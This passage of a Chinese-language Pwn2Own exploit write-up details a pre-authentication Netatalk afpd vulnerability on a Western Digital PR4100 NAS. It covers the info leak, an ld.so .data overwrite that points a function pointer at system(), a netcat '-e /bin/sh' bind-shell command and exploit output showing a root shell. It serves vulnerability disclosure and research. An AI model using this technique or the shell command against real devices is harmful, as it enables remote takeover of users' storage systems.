#define ad_setentrylen(ad,eid,len) ((ad)->ad_eid[(eid)].ade_len = (len))
#define ad_setentryoff(ad,eid,off) ((ad)->ad_eid[(eid)].ade_off = (off))
#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)

因此我们控制了AppleDouble文件的所有字段。更确切地说,我们知道我们可以为我们需要的所有entry精心构造非法的EID“偏移”,这一切都因为之前讨论过的parse_entries()函数的返回值没有被检查。此外,我们可以通过拥有更大的数据来精心构造所需大小的资源fork文件。这意味着我们可以有效控制memmove()函数的源地址、目的地址以及长度参数,来向内存映射之外的地址空间写入我们控制的数据。

注意:我们需要的entry是ADEID_FINDERIADEID_RFORK

1
2
3
    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

下一个问题是,内存映射的地址被映射到了哪里?

通过实际测试我们发现,如果fork文件的大小小于0x1000字节,文件将被映射到uams_pam.souams_guest.sold-2.28.so之前的非常高的地址位置。更确切地说,ld-2.28.so在内存中的映射起始地址总是在被映射的fork文件起始地址之后的0xC0000字节处,即使ASLR开放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
(gdb) info proc mappings 
process 26343
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x5579bb534000     0x5579bb53d000     0x9000        0x0 /usr/local/modules/usr/sbin/afpd
      0x5579bb53d000     0x5579bb571000    0x34000     0x9000 /usr/local/modules/usr/sbin/afpd
      0x5579bb571000     0x5579bb57c000     0xb000    0x3d000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57c000     0x5579bb57d000     0x1000    0x47000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57d000     0x5579bb580000     0x3000    0x48000 /usr/local/modules/usr/sbin/afpd
      0x5579bb580000     0x5579bb5a0000    0x20000        0x0 
      0x5579bcd51000     0x5579bcd72000    0x21000        0x0 [heap]
      0x5579bcd72000     0x5579bcd92000    0x20000        0x0 [heap]
      0x7f6c56e30000     0x7f6c56eb0000    0x80000        0x0 
      ...
      0x7f6c57e02000     0x7f6c57e24000    0x22000        0x0 /lib/libc-2.28.so
      0x7f6c57e24000     0x7f6c57f6c000   0x148000    0x22000 /lib/libc-2.28.so
      0x7f6c57f6c000     0x7f6c57fb8000    0x4c000   0x16a000 /lib/libc-2.28.so
      0x7f6c57fb8000     0x7f6c57fb9000     0x1000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fb9000     0x7f6c57fbd000     0x4000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fbd000     0x7f6c57fbf000     0x2000   0x1ba000 /lib/libc-2.28.so
      ...
      0x7f6c58129000     0x7f6c58134000     0xb000        0x0 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58134000     0x7f6c58177000    0x43000     0xb000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58177000     0x7f6c58191000    0x1a000    0x4e000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58191000     0x7f6c58192000     0x1000    0x67000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58192000     0x7f6c58194000     0x2000    0x68000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58194000     0x7f6c581b1000    0x1d000        0x0 
      0x7f6c581b2000     0x7f6c581b3000     0x1000        0x0 /mnt/HD/HD_a2/Public/edg/._mooncake
      0x7f6c581b3000     0x7f6c581b4000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b4000     0x7f6c581b6000     0x2000     0x1000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b6000     0x7f6c581b7000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b7000     0x7f6c581b8000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b8000     0x7f6c581b9000     0x1000     0x4000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b9000     0x7f6c581ba000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581ba000     0x7f6c581bb000     0x1000     0x1000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bb000     0x7f6c581bc000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bc000     0x7f6c581bd000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bd000     0x7f6c581be000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581be000     0x7f6c581bf000     0x1000        0x0 /lib/ld-2.28.so
      0x7f6c581bf000     0x7f6c581dd000    0x1e000     0x1000 /lib/ld-2.28.so
      0x7f6c581dd000     0x7f6c581e5000     0x8000    0x1f000 /lib/ld-2.28.so
      0x7f6c581e5000     0x7f6c581e6000     0x1000    0x26000 /lib/ld-2.28.so
      0x7f6c581e6000     0x7f6c581e7000     0x1000    0x27000 /lib/ld-2.28.so
      0x7f6c581e7000     0x7f6c581e8000     0x1000        0x0 
      0x7ffe86f2b000     0x7ffe86f71000    0x46000        0x0 [stack]
      0x7ffe86fb7000     0x7ffe86fba000     0x3000        0x0 [vvar]
      0x7ffe86fba000     0x7ffe86fbc000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

这意味着我们可以使用memmove()函数来覆盖上述我们提到的动态库中的一些内容。那么我们应该选择哪个动态库呢?

通过调试我们注意到,当崩溃发生时,如果我们继续执行,Netatalk中的一个特殊的异常处理函数会接受并处理当前异常。

更准确地说,我们覆盖了整个ld-2.28.so.data段,并最终触发下面的崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(remote-gdb) bt
#0  0x00007f423de3eb50 in _dl_open (file=0x7f423dbf0e86 "libgcc_s.so.1", mode=-2147483646, caller_dlopen=0x7f423db771c5 <init+21>, nsid=-2, argc=4, argv=0x7fffa4967cf8, env=0x7fffa4967d20) at dl-open.c:548
#1  0x00007f423dba406d in do_dlopen (Reading in symbols for dl-error.c...done.
ptr=ptr@entry=0x7fffa4966170) at dl-libc.c:96
#2  0x00007f423dba4b2f in __GI__dl_catch_exception (exception=exception@entry=0x7fffa49660f0, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:196
#3  0x00007f423dba4bbf in __GI__dl_catch_error (objname=objname@entry=0x7fffa4966148, errstring=errstring@entry=0x7fffa4966150, mallocedp=mallocedp@entry=0x7fffa4966147, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:215
#4  0x00007f423dba4147 in dlerror_run (operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-libc.c:46
#5  0x00007f423dba41d6 in __GI___libc_dlopen_mode (name=name@entry=0x7f423dbf0e86 "libgcc_s.so.1", mode=mode@entry=-2147483646) at dl-libc.c:195
#6  0x00007f423db771c5 in init () at backtrace.c:53
Reading in symbols for pthread_once.c...done.
#7  0x00007f423dc40997 in __pthread_once_slow (once_control=0x7f423dc2ef80 <once>, init_routine=0x7f423db771b0 <init>) at pthread_once.c:116
#8  0x00007f423db77304 in __GI___backtrace (array=<optimised out>, size=<optimised out>) at backtrace.c:106
#9  0x00007f423ddcd6db in netatalk_panic () from symbols/lib64/libatalk.so.18
#10 0x00007f423ddcd902 in ?? () from symbols/lib64/libatalk.so.18
#11 0x00007f423ddcd958 in ?? () from symbols/lib64/libatalk.so.18
Reading in symbols for ../sysdeps/unix/sysv/linux/x86_64/sigaction.c...done.
#12 <signal handler called>
#13 __memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007f423dda6fd0 in ad_rebuild_adouble_header_osx () from symbols/lib64/libatalk.so.18
#15 0x00007f423ddaa985 in ?? () from symbols/lib64/libatalk.so.18
#16 0x00007f423ddaaf34 in ?? () from symbols/lib64/libatalk.so.18
#17 0x00007f423ddad7b0 in ?? () from symbols/lib64/libatalk.so.18
#18 0x00007f423ddad9e1 in ?? () from symbols/lib64/libatalk.so.18
#19 0x00007f423ddae56c in ad_open () from symbols/lib64/libatalk.so.18
#20 0x000055cd275c1ea7 in afp_openfork ()
#21 0x000055cd275a386e in afp_over_dsi ()
#22 0x000055cd275c6ba3 in ?? ()
#23 0x000055cd275c68fd in main ()

我们可以看到,程序崩溃在一条call指令,在这条这令处,我们同时控制了被调用的函数地址以及第一个参数。

1
2
3
4
5
6
(remote-gdb) x /i $pc
=> 0x7f423de3eb50 <_dl_open+48>:	call   QWORD PTR [rip+0x16412]        # 0x7f423de54f68 <_rtld_global+3848>
(remote-gdb) x /gx 0x7f423de54f68
0x7f423de54f68 <_rtld_global+3848>:	0x4242424242424242
(remote-gdb) x /s $rdi
0x7f423de54968 <_rtld_global+2312>:	'A' <repeats 35 times>

在IDA中检查ld-2.28.so可知,这是由于dl_open()函数调用_dl_rtld_lock_recursive函数指针并传递了一个指向_dl_load_lock lock的指针作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *__fastcall dl_open(
        const char *file,
        int mode,
        const void *caller_dlopen,
        Lmid_t nsid,
        int argc,
        char **argv,
        char **env)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (mode & 3) == 0 )
    _dl_signal_error(0x16, file, 0LL, "invalid mode for dlopen()");
  rtld_local._dl_rtld_lock_recursive(&rtld_local._dl_load_lock);

函数指针和lock参数都是rtld_local全局变量的一部分,它位于.data段当中。

1
2
.data:0000000000028060 ; rtld_global rtld_local
.data:0000000000028060 _rtld_local     dq 0  

因此,当我们可以覆盖ld.so.data段时,调用任意的只有一个参数的函数来利用漏洞是一个非常通用的办法。

注意:这里还有另一种类似的技术(尽管有一点不同)

我们的目标是:通过将lock参数覆盖为一条shell命令并将函数指针覆盖为system()函数的地址来实现任意命令执行。

幸运的是,我们知道了我们已经控制了传递给system()函数的数据,因此我们不需要去知道它在内存中的位置。然而,由于ASLR开启,我们并不知道system()函数在内存中的地址。因此我们需要信息泄露的利用原语来绕过ASLR。

构建一个信息泄露利用

如果我们检查先前的backtrace,我们可以看到程序实际上崩溃在了ad_rebuild_adouble_header_osx()函数。更准确地说,我们发现了在ad_convert_osx()函数中发生了以下几件事:

  • 原始的AppleDouble文件通过mmap()函数被映射进内存
  • 先前讨论的memmove()被调用,用来丢弃FinderInfo部分的内容
  • ad_rebuild_adouble_header_osx()函数被调用
  • 被映射的文件通过munmap()函数被取消映射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

    ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI);
    ad->ad_rlen = ad_getentrylen(ad, ADEID_RFORK);
    ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI);

    EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad),
                           ad_getentryoff(ad, ADEID_RFORK)
                           + ad_getentrylen(ad, ADEID_RFORK)) );

    (void)ad_rebuild_adouble_header_osx(ad, map);
    munmap(map, origlen);

ad_rebuild_adouble_header_osx()函数如下所示。该函数负责将adouble结构体中的内容以AppleDouble格式写回被映射的文件区域,因此写回的内容将保存在磁盘上的文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//netatalk-3.1.12/libatalk/adouble/ad_flush.c
/*!
 * Prepare adbuf buffer from struct adouble for writing on disk
 */
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
    uint32_t       temp;
    uint16_t       nent;
    char           *buf;

    LOG(log_debug, logtype_ad, "ad_rebuild_adouble_header_osx");

    buf = &adbuf[0];

    temp = htonl( ad->ad_magic );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_version );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(buf, AD_FILLER_NETATALK, strlen(AD_FILLER_NETATALK));
    buf += sizeof( ad->ad_filler );

    nent = htons(ADEID_NUM_OSX);
    memcpy(buf, &nent, sizeof( nent ));
    buf += sizeof( nent );

    /* FinderInfo */
    temp = htonl(EID_DISK(ADEID_FINDERI));
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_FINDERI_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDLEN_FINDERI);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);

    /* rfork */
    temp = htonl( EID_DISK(ADEID_RFORK) );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_RFORK_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_rlen);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    return AD_DATASZ_OSX;
}

但是如果我们在调试器中看一下memcpy()函数的参数,可以注意到原地址来自于栈上,并且已经越界了:

1
memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
1
2
3
4
5
6
7
(gdb) info proc mappings 
...
          Start Addr           End Addr       Size     Offset objfile
      0x7fffa4923000     0x7fffa4969000    0x46000        0x0 [stack]
      0x7fffa49f9000     0x7fffa49fc000     0x3000        0x0 [vvar]
      0x7fffa49fc000     0x7fffa49fe000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

如果你看一下之前提到的ad_header_read_osx()函数的代码,你会注意到这是肯定的,因为是一个局部变量struct adouble adosx;(因此存储于栈上)保存了AppleDouble结构体,并一直传递到了ad_rebuild_adouble_header_osx()函数。

所以这意味着什么?好吧,memcpy()函数从一个基于栈的偏移地址写入32字节至文件在内存中映射的区域。这意味着我们可以让程序将任意的内存内容写回磁盘上的文件中。之后我们可以通过SMB读取fork文件的内容(以AppleDouble格式存储)并且可以将这部分泄露的内容读出来。

这非常好,但是程序的栈上是否有libc.so库的地址泄露出来呢?因为我们想要调用libc.so库中的system()函数。

事实证明这种地址是有的,因为main()函数是从__libc_start_main()函数中被调用的:

1
2
3
4
5
6
7
.text:0000000000023FB0 __libc_start_main proc near 
...
.text:0000000000024099                 call    rax             ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B:                              ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B                 mov     edi, eax
.text:000000000002409D                 call    __GI_exit

合并利用

在西部数据PR4100设备的默认配置中,我们可以通过AFP和SMB协议来在认证之前读写Public共享目录中的任意文件。

我们还知道,一个afpd子进程是从afpd父进程fork而来,用来处理每个客户端连接的。这意味着每个子进程对所有已经加载的库都有相同的随机性。

为了触发该漏洞,我们需要一个mooncake常规文件存在于共享目录中,以及一个精心构造的._mooncake fork文件存在于相同的目录中。然后,我们可以通过AFP调用“FPOpenFork”命令访问mooncake文件,该命令会解析._mooncake fork文件(以AppleDouble文件格式保存)。最终它会调用ad_convert_osx()函数,该函数负责将苹果的AppleDouble文件转换为一个更简单的格式版本。

因此,我们首先创建mooncake文件。我们通过AFP接口创建,但是我们认为也可以通过SMB来创建。之后我们想触发两次漏洞。

第一次,我们构造._mooncake fork文件来滥用ad_rebuild_adouble_header_osx()中的memcpy()函数。当触发漏洞时:

  • 原始的._mooncake fork文件通过mmap()函数被映射进内存
  • memcpy()函数将__libc_start_main()函数的返回地址写入被映射的区域
  • munmap()函数被调用,上述地址被保存进磁盘上的._mooncake fork文件
  • 我们可以通过SMB协议读取._mooncake fork文件来获取泄漏出的地址(就像读取常规文件一样)

这样一来,我们就可以推断出libc.so的基地址,并且计算出system()函数的地址。

第二次,我们精心构造._mooncake fork文件,滥用ad_convert_osx()函数中的memmove()函数。当触发漏洞时:

  • ._mooncake原始fork文件通过mmap()函数被映射进内存
  • memmove()函数覆盖了ld.so.data段,破坏rtld_local._dl_rtld_lock_recursive函数指针,将其篡改为system()函数的地址,破坏rtld_local._dl_load_lock的数据,篡改为要执行的shell命令
  • 由于访问了非法的未映射的栈地址,memcpy()函数崩溃
  • Netatalk的异常处理函数调用并进入dl_open()函数,由于上一步已经篡改了相关内容,因此会调用system()函数,并执行我们指定的任意shell命令

我们预先通过SMB协议在共享目录中放置了一个静态变异的netcat程序,并通过以下路径执行:/mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh

下面是漏洞利用时的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg

Pwn2Own 笔记

当比赛时利用该漏洞时,第一次尝试失败在了地址泄露阶段。我们猜测相比于我们自己的测试环境,可能是由于目标环境的时机问题所导致的。因此我们修改了代码,在泄露地址之前引入一个sleep(),以确保samba有时间返回我们通过漏洞修改的数据。我们的第二次尝试获取了泄露地址,但是尝试通过telnet连接目标时再次失败了,因此我们在连接telnet之前又额外添加了一个sleep(),以确保system()命令被正确的执行。幸运的是这很有效,这说明单单添加额外的休眠时间足以修复不可靠的漏洞利用,我们在我们最后的第三次尝试成功了🙂。

This post is licensed under CC BY 4.0 by the author.